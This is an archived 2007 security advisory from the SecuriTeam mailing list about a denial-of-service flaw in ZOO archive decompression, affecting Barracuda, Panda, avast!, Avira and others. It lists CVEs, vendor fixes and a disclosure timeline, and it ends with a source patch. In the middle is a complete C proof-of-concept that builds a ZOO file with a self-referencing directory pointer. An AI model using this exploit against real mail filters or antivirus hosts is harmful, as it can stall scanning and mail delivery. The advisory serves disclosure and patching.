Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NEWS] Multiple Vendors ZOO File Decompression Infinite Loop DoS

Subject: [NEWS] Multiple Vendors ZOO File Decompression Infinite Loop DoS
Date: 7 May 2007 11:57:15 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Multiple Vendors ZOO File Decompression Infinite Loop DoS
------------------------------------------------------------------------


SUMMARY

Zoo is "a compression program and format developed by Rahul Dhesi in the 
mid 1980s. The format is based on the LZW compression algorithm and 
compressed files are identified by the .zoo file extension. It is no 
longer widely used, but many modern softwares implement the ZOO 
compression algorithm".

It's possible to make the ZOO implementation to enter in an infinite loop 
condition. The vulnerability lies in the algorithm used to locate the 
files inside the archive. Each file in a ZOO archive is identified by a 
direntry structure. Those structures are linked between themselves with a 
'next' pointer. This pointer is in fact an offset from the beginning of 
the file, representing the next direntry structure. By specifying an 
already processed file, it's possible to process more than one time this 
same file. The ZOO parser will then enter an infinite loop condition.

DETAILS

Vulnerable Systems:
 * Barracuda Spam Firewall
 * Panda Software Antivirus
 * avast! antivirus
 * Avira AntiVir
 * zoo-2.10
 * unzoo.c
 * WinAce
 * PicoZip

Impact:
If this attack is conducted against a vulnerable antivirus, the host 
system will have its CPU at 100% utilization and may have problems 
answering other requests.

If this attack is conducted against an SMTP content filter running a 
vulnerable ZOO implementation, legitimate clients may be unable to send 
and receive email through this server.

Solution:
 * Barracuda Spam Firewall - CVE-2007-1669: They fixed this problem in 
virusdef 2.0.6399 for firmware >= 3.4 and 2.0.6399o for firmware < 3.4 
March 19th 2007.

 * Panda Software Antivirus - CVE-2007-1670: They fixed this problem April 
2nd 2007.

 * avast! antivirus - CVE-2007-1672: They fixed this problem in version 
4.7.981, April 14th 2007.

 * Avira AntiVir - CVE-2007-1671: They fixed this problem in avpack32.dll 
version 7.3.0.6 March 22th 2007.

 * zoo-2.10 - CVE-2007-1669: This software is not maintained anymore. A 
patch for version 2.10 is provided in section VII of this advisory because 
some SMTP content filters may still use this software.

 * unzoo.c - CVE-2007-1673: This software is not maintained anymore. No 
patch is provided for this software.

 * WinAce was contacted but no response was received from them.

 * PicoZip was contacted but no response was received from them.

Exploit:
Using the PIRANA framework version 0.3.3, available at  
<http://www.guay-leroux.com> http://www.guay-leroux.com, it is possible to 
test your SMTP server against this vulnerability.

Alternatively, here is an exploit that will create a file that will 
trigger the infinite loop condition when it is processed.

/*

Exploit for the vulnerability:
Multiple vendors ZOO file decompression infinite loop DoS

coded by Jean-S bastien Guay-Leroux
September 2006

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Structure of a ZOO header

#define ZOO_HEADER_SIZE     0x0000002a

#define ZH_TEXT         0
#define ZH_TAG         20
#define ZH_START_OFFSET     24
#define ZH_NEG_START_OFFSET   28
#define ZH_MAJ_VER       32
#define ZH_MIN_VER       33
#define ZH_ARC_HTYPE      34
#define ZH_ARC_COMMENT     35
#define ZH_ARC_COMMENT_LENGTH  39
#define ZH_VERSION_DATA     41


#define D_DIRENTRY_LENGTH    56

#define D_TAG          0
#define D_TYPE         4
#define D_PACKING_METHOD    5
#define D_NEXT_ENTRY      6
#define D_OFFSET        10
#define D_DATE         14
#define D_TIME         16
#define D_FILE_CRC       18
#define D_ORIGINAL_SIZE     20
#define D_SIZE_NOW       24
#define D_MAJ_VER        28
#define D_MIN_VER        29
#define D_DELETED        30
#define D_FILE_STRUCT      31
#define D_COMMENT_OFFSET    32
#define D_COMMENT_SIZE     36
#define D_FILENAME       38
#define D_VAR_DIR_LEN      51
#define D_TIMEZONE       53
#define D_DIR_CRC        54
#define D_NAMLEN        ( D_DIRENTRY_LENGTH + 0 )
#define D_DIRLEN        ( D_DIRENTRY_LENGTH + 1 )
#define D_LFILENAME       ( D_DIRENTRY_LENGTH + 2 )


void put_byte (char *ptr, unsigned char data) {
         *ptr = data;
}

void put_word (char *ptr, unsigned short data) {
         put_byte (ptr, data);
         put_byte (ptr + 1, data >> 8);
}

void put_longword (char *ptr, unsigned long data) {
         put_byte (ptr, data);
         put_byte (ptr + 1, data >> 8);
         put_byte (ptr + 2, data >> 16);
         put_byte (ptr + 3, data >> 24);
}

FILE * open_file (char *filename) {

         FILE *fp;

         fp = fopen ( filename , "w" );

         if (!fp) {
                 perror ("Cant open file");
                 exit (1);
         }

         return fp;
}

void usage (char *progname) {

         printf ("\nTo use:\n");
         printf ("%s <archive name>\n\n", progname);

         exit (1);
}

int main (int argc, char *argv[]) {
         FILE *fp;
         char *hdr = (char *) malloc (4096);
         char *filename = (char *) malloc (256);
         int written_bytes;
         int total_size;

         if ( argc != 2) {
                 usage ( argv[0] );
         }

         strncpy (filename, argv[1], 255);

         if (!hdr || !filename) {
                 perror ("Error allocating memory");
                 exit (1);
         }

         memset (hdr, 0x00, 4096);

         // Build a ZOO header
         memcpy     (hdr + ZH_TEXT, "ZOO 2.10 Archive.\032", 18);
         put_longword  (hdr + ZH_TAG, 0xfdc4a7dc);
         put_longword  (hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE);
         put_longword  (hdr + ZH_NEG_START_OFFSET,
             (ZOO_HEADER_SIZE) * -1);
         put_byte    (hdr + ZH_MAJ_VER, 2);
         put_byte    (hdr + ZH_MIN_VER, 0);
         put_byte    (hdr + ZH_ARC_HTYPE, 1);
         put_longword  (hdr + ZH_ARC_COMMENT, 0);
         put_word    (hdr + ZH_ARC_COMMENT_LENGTH, 0);
         put_byte    (hdr + ZH_VERSION_DATA, 3);

         // Build vulnerable direntry struct
         put_longword  (hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc);
         put_byte    (hdr + ZOO_HEADER_SIZE + D_TYPE, 1);
         put_byte    (hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0);
         put_longword  (hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x2a);
         put_longword  (hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x71);
         put_word    (hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394);
         put_word    (hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650);
         put_word    (hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0);
         put_longword  (hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0);
         put_longword  (hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0);
         put_byte    (hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 1);
         put_byte    (hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0);
         put_byte    (hdr + ZOO_HEADER_SIZE + D_DELETED, 0);
         put_byte    (hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0);
         put_longword  (hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0);
         put_word    (hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0);
         memcpy     (hdr + ZOO_HEADER_SIZE + D_FILENAME,
                             "AAAAAAAA.AAA", 13);

         total_size = ZOO_HEADER_SIZE + 51;

         fp = open_file (filename);

         if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 ) {
                 printf ("The file has been written\n");
         } else {
                 printf ("Cant write to the file\n");
                 exit (1);
         }

         fclose (fp);

         return 0;
}

Patch:
To fix this issue, ensure that the offset of the next file to process is 
always greater than the one you are currently processing. This will 
guarantee the fact that it's not possible to process the same files over 
and over again. Here is a patch for the software zoo version 2.10 
distributed with many UNIX systems:

diff -u zoo/zooext.c zoo-patched/zooext.c
--- zoo/zooext.c    1991-07-11 15:08:00.000000000 -0400
+++ zoo-patched/zooext.c    2007-03-16 16:45:28.000000000 -0500
@@ -89,6 +89,7 @@
  #endif
  struct direntry direntry;         /* directory entry */
  int first_dir = 1;
  /* first dir entry seen? */
+unsigned long zoo_pointer = 0;           /* Track our position
in the file */

  static char extract_ver[] = "Zoo %d.%d is needed to extract %s.\n";
  static char no_space[] = "Insufficient disk space to extract %s.\n";
@@ -169,6 +170,9 @@
                 exit_status = 1;
     }
     zooseek (zoo_file, zoo_header.zoo_start, 0); /* seek to where data
     begins */
+
+  /* Begin tracking our position in the file */
+  zoo_pointer = zoo_header.zoo_start;
  }

  #ifndef PORTABLE
@@ -597,6 +601,12 @@
     } /* end if */

  loop_again:
+
+  /* Make sure we are not seeking to already processed data */
+  if (next_ptr <= zoo_pointer)
+     prterror ('f', "ZOO chain structure is corrupted\n");
+  zoo_pointer = next_ptr;
+
     zooseek (zoo_file, next_ptr, 0); /* ..seek to next dir entry */
  } /* end while */

diff -u zoo/zoolist.c zoo-patched/zoolist.c
--- zoo/zoolist.c    1991-07-11 15:08:04.000000000 -0400
+++ zoo-patched/zoolist.c    2007-03-16 16:45:20.000000000 -0500
@@ -92,6 +92,7 @@
  int show_mode = 0;               /* show file protection */
  #endif
  int first_dir = 1;               /* if first direntry -- to
  adjust dat_ofs */
+unsigned long zoo_pointer = 0;     /* Track our position in the file
*/

  while (*option) {
     switch (*option) {
@@ -211,6 +212,9 @@
                 show_acmt (&zoo_header, zoo_file, 0);      /* show
                 archive comment */
         }

+  /* Begin tracking our position in the file */
+  zoo_pointer = zoo_header.zoo_start;
+
     /* Seek to the beginning of the first directory entry */
     if (zooseek (zoo_file, zoo_header.zoo_start, 0) != 0) {
        ercount++;
@@ -437,6 +441,11 @@
           if (verb_list && !fast)
              show_comment (&direntry, zoo_file, 0, (char *) NULL);
        } /* end if (lots of conditions) */
+
+   /* Make sure we are not seeking to already processed data */
+   if (direntry.next <= zoo_pointer)
+        prterror ('f', "ZOO chain structure is corrupted\n");
+   zoo_pointer = direntry.next;

                 /* ..seek to next dir entry */
        zooseek (zoo_file, direntry.next, 0);

Disclosure Timeline:
2006-09-?? : Vulnerability is found
2007-03-19 : All vendors notified
2007-03-19 : Barracuda Networks provided a fix
2007-03-22 : Avira provided a fix
2007-04-02 : Panda Antivirus provided a fix
2007-04-14 : avast! antivirus provided a fix
2007-05-04 : Public disclosure

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1669> 
CVE-2007-1669,  
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1670> 
CVE-2007-1670,  
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1671> 
CVE-2007-1671,  
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1672> 
CVE-2007-1672, or  
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1673> 
CVE-2007-1673


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:jean-sebastien@guay-leroux.com> Jean-Sebastien Guay-Leroux.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NEWS] Multiple Vendors ZOO File Decompression Infinite Loop DoS, SecuriTeam <=